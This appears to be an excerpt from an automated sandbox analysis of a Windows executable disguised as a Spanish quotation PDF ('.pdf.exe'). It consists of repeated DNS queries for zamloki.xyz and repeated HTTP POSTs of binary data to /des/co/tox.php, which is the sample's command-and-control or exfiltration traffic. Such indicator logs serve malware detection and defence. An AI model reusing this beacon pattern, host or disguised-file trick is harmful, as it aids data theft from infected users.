Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	DNS query: zamloki.xyz
Source:	DNS query: zamloki.xyz

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 192Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 192Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
